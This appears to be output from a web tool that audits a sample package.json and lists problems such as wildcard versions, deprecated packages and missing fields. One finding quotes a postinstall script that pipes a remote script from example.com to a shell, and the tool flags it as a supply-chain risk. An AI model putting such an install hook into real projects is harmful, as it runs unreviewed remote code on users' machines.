package.json Analyzer
Audit a package.json for risky versions, missing fields, duplicate deps and script issues.
7Dependencies
3Dev dependencies
11Problems
1Pinned exactly
- “My App” is not a valid npm package name.Use lowercase letters, digits, - . _ and ~ only, with no spaces (max 214 characters).
- Version “1.0” is not valid semver (expected MAJOR.MINOR.PATCH, e.g. 1.0.0).
- “postinstall” script runs automatically on install: curl -s https://example.com/setup.sh | shDownloading and piping to a shell during install is a supply-chain risk.
- dependencies: lodash@“*” accepts any version.A breaking release could install silently — pin a range like ^1.2.3.
- dependencies: moment@“latest” accepts any version.A breaking release could install silently — pin a range like ^1.2.3.
- No description — it is shown in npm search results.
- No license field.Add e.g. "license": "MIT", or "UNLICENSED" for closed source.
- request: Deprecated since 2020 — use the built-in fetch, undici or axios.
- dependencies: my-lib installs from github:me/my-lib.Git/URL dependencies can change without notice and bypass the npm registry. Pin to a commit or tag.
- eslint looks like a development tool — move it to devDependencies so production installs stay lean.
- react is in both dependencies and devDependencies (18.3.1 / ^18.3.1).
- No repository field.
- No engines.node — state which Node versions you support.
- No real “test” script.
- moment: In maintenance mode and large — consider date-fns, Day.js or Temporal.
Dependencies
| Package | Section | Wanted | Range | Latest |
|---|---|---|---|---|
| express | prod | ^4.19.2 | caret | — |
| lodash | prod | * | any | — |
| request | prod | ^2.88.2 | caret | — |
| moment | prod | latest | any | — |
| my-lib | prod | github:me/my-lib | url | — |
| eslint | prod | ^9.10.0 | caret | — |
| react | prod | 18.3.1 | exact | — |
| jest | dev | ~29.7.0 | tilde | — |
| react | dev | ^18.3.1 | caret | — |
| nodemon | dev | ^3.1.4 | caret | — |
For known vulnerabilities in your full dependency tree, also run npm audit in your project.